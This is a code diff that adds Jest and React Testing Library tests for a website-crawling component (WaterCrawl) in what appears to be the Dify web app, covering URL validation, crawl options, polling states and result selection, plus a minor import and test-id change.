+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'invalid-url')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(createWatercrawlTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should show error for URL without protocol', async () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(createWatercrawlTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should accept URL with http:// protocol', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'http-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'http://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalled()
+      })
+    })
+
+    it('should show error when limit is empty', async () => {
+      // Arrange
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: '' }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(createWatercrawlTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should show error when limit is null', async () => {
+      // Arrange
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: null as unknown as number }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(createWatercrawlTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should show error when limit is undefined', async () => {
+      // Arrange
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: undefined as unknown as number }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(createWatercrawlTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should handle API throwing an exception', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      mockCreateTask.mockRejectedValueOnce(new Error('Network error'))
+      // Suppress console output during test to avoid noisy logs
+      const consoleSpy = jest.spyOn(console, 'log').mockImplementation(jest.fn())
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://exception-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.exceptionErrorTitle')).toBeInTheDocument()
+      })
+
+      consoleSpy.mockRestore()
+    })
+
+    it('should show unknown error when error message is empty', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'empty-error-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'error',
+        // No message
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://empty-error-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.unknownError')).toBeInTheDocument()
+      })
+    })
+
+    it('should handle empty data array from API', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'empty-data-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 0,
+        total: 0,
+        data: [],
+      })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://empty-data-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalledWith([])
+      })
+    })
+
+    it('should handle null data from running status', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'null-data-job' })
+      mockCheckStatus
+        .mockResolvedValueOnce({
+          status: 'running',
+          current: 0,
+          total: 5,
+          data: null,
+        })
+        .mockResolvedValueOnce({
+          status: 'completed',
+          current: 5,
+          total: 5,
+          data: [createCrawlResultItem()],
+        })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://null-data-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalledWith([])
+      })
+    })
+
+    it('should handle undefined data from completed job polling', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'undefined-data-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 0,
+        total: 0,
+        // data is undefined - triggers || [] fallback
+      })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://undefined-data-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalledWith([])
+      })
+    })
+
+    it('should handle crawlResult with zero current value', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'zero-current-job' })
+      mockCheckStatus.mockImplementation(() => new Promise(() => { /* never resolves */ }))
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: 10 }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://zero-current-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should show 0/10 in crawling indicator
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped.*0\/10/)).toBeInTheDocument()
+      })
+    })
+
+    it('should handle crawlResult with zero total and empty limit', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'zero-total-job' })
+      mockCheckStatus.mockImplementation(() => new Promise(() => { /* never resolves */ }))
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: '0' }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://zero-total-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should show 0/0
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped.*0\/0/)).toBeInTheDocument()
+      })
+    })
+
+    it('should handle undefined crawlResult data in finished state', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'undefined-result-data-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 0,
+        total: 0,
+        time_consuming: 1.5,
+        // data is undefined
+      })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://undefined-result-data-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should complete and show results
+      await waitFor(() => {
+        expect(screen.getByText(/scrapTimeInfo/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should use parseFloat fallback when crawlResult.total is undefined', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'no-total-job' })
+      mockCheckStatus.mockImplementation(() => new Promise(() => { /* never resolves */ }))
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: 15 }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://no-total-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should use limit (15) as total
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped.*0\/15/)).toBeInTheDocument()
+      })
+    })
+
+    it('should handle crawlResult with current=0 and total=0 during running', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'both-zero-job' })
+      mockCheckStatus
+        .mockResolvedValueOnce({
+          status: 'running',
+          current: 0,
+          total: 0,
+          data: [],
+        })
+        .mockImplementationOnce(() => new Promise(() => { /* never resolves */ }))
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: 5 }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://both-zero-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped/)).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ============================================================================
+  // All Prop Variations Tests
+  // ============================================================================
+  describe('Prop Variations', () => {
+    it('should handle different limit values in crawlOptions', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'limit-var-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: 100 }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://limit.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith(
+          expect.objectContaining({
+            options: expect.objectContaining({ limit: 100 }),
+          }),
+        )
+      })
+    })
+
+    it('should handle different max_depth values', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'depth-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ max_depth: 5 }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://depth.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith(
+          expect.objectContaining({
+            options: expect.objectContaining({ max_depth: 5 }),
+          }),
+        )
+      })
+    })
+
+    it('should handle crawl_sub_pages disabled', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'nosub-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ crawl_sub_pages: false }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://nosub.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith(
+          expect.objectContaining({
+            options: expect.objectContaining({ crawl_sub_pages: false }),
+          }),
+        )
+      })
+    })
+
+    it('should handle use_sitemap enabled', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'sitemap-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ use_sitemap: true }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://sitemap.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith(
+          expect.objectContaining({
+            options: expect.objectContaining({ use_sitemap: true }),
+          }),
+        )
+      })
+    })
+
+    it('should handle includes and excludes patterns', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'patterns-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({
+          includes: '/docs/*',
+          excludes: '/api/*',
+        }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://patterns.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith(
+          expect.objectContaining({
+            options: expect.objectContaining({
+              includes: '/docs/*',
+              excludes: '/api/*',
+            }),
+          }),
+        )
+      })
+    })
+
+    it('should handle pre-selected crawl results', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const existingResult = createCrawlResultItem({ source_url: 'https://existing.com' })
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'preselect-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem({ title: 'New' })],
+      })
+
+      const props = createDefaultProps({
+        checkedCrawlResult: [existingResult],
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://new.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle string type limit value', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'string-limit-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: '25' }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://string-limit.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle only_main_content option', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'main-content-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ only_main_content: false }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://main-content.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith(
+          expect.objectContaining({
+            options: expect.objectContaining({ only_main_content: false }),
+          }),
+        )
+      })
+    })
+  })
+
+  // ============================================================================
+  // Display and UI State Tests
+  // ============================================================================
+  describe('Display and UI States', () => {
+    it('should show crawling progress during running state', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'progress-job' })
+      mockCheckStatus.mockImplementation(() => new Promise(() => { /* pending */ }))
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: 10 }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://progress.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped.*0\/10/)).toBeInTheDocument()
+      })
+    })
+
+    it('should display time consumed after crawl completion', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'time-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        time_consuming: 2.5,
+        data: [createCrawlResultItem()],
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://time.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(/scrapTimeInfo/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should display crawled results list after completion', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'result-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem({ title: 'Result Page' })],
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://result.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('Result Page')).toBeInTheDocument()
+      })
+    })
+
+    it('should show error message component when crawl fails', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+
+      mockCreateTask.mockRejectedValueOnce(new Error('Failed'))
+      // Suppress console output during test to avoid noisy logs
+      jest.spyOn(console, 'log').mockImplementation(jest.fn())
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://fail.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.exceptionErrorTitle')).toBeInTheDocument()
+      })
+    })
+
+    it('should update progress during multiple polling iterations', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'multi-poll-job' })
+      mockCheckStatus
+        .mockResolvedValueOnce({
+          status: 'running',
+          current: 2,
+          total: 10,
+          data: [
+            createCrawlResultItem({ source_url: 'https://page1.com' }),
+            createCrawlResultItem({ source_url: 'https://page2.com' }),
+          ],
+        })
+        .mockResolvedValueOnce({
+          status: 'running',
+          current: 5,
+          total: 10,
+          data: Array.from({ length: 5 }, (_, i) =>
+            createCrawlResultItem({ source_url: `https://page${i + 1}.com` }),
+          ),
+        })
+        .mockResolvedValueOnce({
+          status: 'completed',
+          current: 10,
+          total: 10,
+          data: Array.from({ length: 10 }, (_, i) =>
+            createCrawlResultItem({ source_url: `https://page${i + 1}.com` }),
+          ),
+        })
+
+      const props = createDefaultProps({
+        onCheckedCrawlResultChange,
+        crawlOptions: createDefaultCrawlOptions({ limit: 10 }),
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://multi-poll.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should eventually complete
+      await waitFor(() => {
+        expect(mockCheckStatus).toHaveBeenCalledTimes(3)
+      })
+
+      // Final result should be selected
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenLastCalledWith(
+          expect.arrayContaining([
+            expect.objectContaining({ source_url: 'https://page1.com' }),
+          ]),
+        )
+      })
+    })
+  })
+
+  // ============================================================================
+  // Integration Tests
+  // ============================================================================
+  describe('Integration', () => {
+    it('should complete full crawl workflow with job polling', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+      const onJobIdChange = jest.fn()
+      const onPreview = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'full-workflow-job' })
+      mockCheckStatus
+        .mockResolvedValueOnce({
+          status: 'running',
+          current: 2,
+          total: 5,
+          data: [
+            createCrawlResultItem({ source_url: 'https://page1.com', title: 'Page 1' }),
+            createCrawlResultItem({ source_url: 'https://page2.com', title: 'Page 2' }),
+          ],
+        })
+        .mockResolvedValueOnce({
+          status: 'completed',
+          current: 5,
+          total: 5,
+          time_consuming: 3.5,
+          data: [
+            createCrawlResultItem({ source_url: 'https://page1.com', title: 'Page 1' }),
+            createCrawlResultItem({ source_url: 'https://page2.com', title: 'Page 2' }),
+            createCrawlResultItem({ source_url: 'https://page3.com', title: 'Page 3' }),
+            createCrawlResultItem({ source_url: 'https://page4.com', title: 'Page 4' }),
+            createCrawlResultItem({ source_url: 'https://page5.com', title: 'Page 5' }),
+          ],
+        })
+
+      const props = createDefaultProps({
+        onCheckedCrawlResultChange,
+        onJobIdChange,
+        onPreview,
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://full-workflow.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - job id should be set
+      await waitFor(() => {
+        expect(onJobIdChange).toHaveBeenCalledWith('full-workflow-job')
+      })
+
+      // Assert - final results should be displayed
+      await waitFor(() => {
+        expect(screen.getByText('Page 1')).toBeInTheDocument()
+        expect(screen.getByText('Page 5')).toBeInTheDocument()
+      })
+
+      // Assert - checked results should be updated
+      expect(onCheckedCrawlResultChange).toHaveBeenLastCalledWith(
+        expect.arrayContaining([
+          expect.objectContaining({ source_url: 'https://page1.com' }),
+          expect.objectContaining({ source_url: 'https://page5.com' }),
+        ]),
+      )
+    })
+
+    it('should handle select all and deselect all in results', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'select-all-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        data: [createCrawlResultItem({ title: 'Single' })],
+      })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://single.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Wait for results
+      await waitFor(() => {
+        expect(screen.getByText('Single')).toBeInTheDocument()
+      })
+
+      // Click select all/reset all
+      const selectAllCheckbox = screen.getByText(/selectAll|resetAll/i)
+      await userEvent.click(selectAllCheckbox)
+
+      // Assert
+      expect(onCheckedCrawlResultChange).toHaveBeenCalled()
+    })
+
+    it('should handle complete workflow from input to preview', async () => {
+      // Arrange
+      const mockCreateTask = createWatercrawlTask as jest.Mock
+      const mockCheckStatus = checkWatercrawlTaskStatus as jest.Mock
+      const onPreview = jest.fn()
+      const onCheckedCrawlResultChange = jest.fn()
+      const onJobIdChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'preview-workflow-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 1,
+        total: 1,
+        time_consuming: 1.2,
+        data: [createCrawlResultItem({
+          title: 'Preview Page',
+          markdown: '# Preview Content',
+          source_url: 'https://preview.com/page',
+        })],
+      })
+
+      const props = createDefaultProps({
+        onPreview,
+        onCheckedCrawlResultChange,
+        onJobIdChange,
+      })
+
+      // Act
+      render(<WaterCrawl {...props} />)
+
+      // Step 1: Enter URL
+      const input = screen.getByPlaceholderText('https://docs.dify.ai/en/')
+      await userEvent.type(input, 'https://preview.com')
+
+      // Step 2: Run crawl
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Step 3: Wait for completion
+      await waitFor(() => {
+        expect(screen.getByText('Preview Page')).toBeInTheDocument()
+      })
+
+      // Step 4: Click preview
+      const previewButton = screen.getByText('datasetCreation.stepOne.website.preview')
+      await userEvent.click(previewButton)
+
+      // Assert
+      expect(onJobIdChange).toHaveBeenCalledWith('preview-workflow-job')
+      expect(onCheckedCrawlResultChange).toHaveBeenCalled()
+      expect(onPreview).toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/website/watercrawl/options.tsx b/web/app/components/datasets/create/website/watercrawl/options.tsx
index dea6c0e5b9..e2e59bfa7d 100644
--- a/web/app/components/datasets/create/website/watercrawl/options.tsx
+++ b/web/app/components/datasets/create/website/watercrawl/options.tsx
@@ -4,7 +4,7 @@ import React, { useCallback } from 'react'
 import { useTranslation } from 'react-i18next'
 import CheckboxWithLabel from '../base/checkbox-with-label'
 import Field from '../base/field'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CrawlOptions } from '@/models/datasets'
 
 const I18N_PREFIX = 'datasetCreation.stepOne.website'
@@ -37,6 +37,7 @@ const Options: FC<Props> = ({
         isChecked={payload.crawl_sub_pages}
         onChange={handleChange('crawl_sub_pages')}
         labelClassName='text-[13px] leading-[16px] font-medium text-text-secondary'
+        testId='crawl-sub-pages'
       />
       <div className='flex justify-between space-x-4'>
         <Field
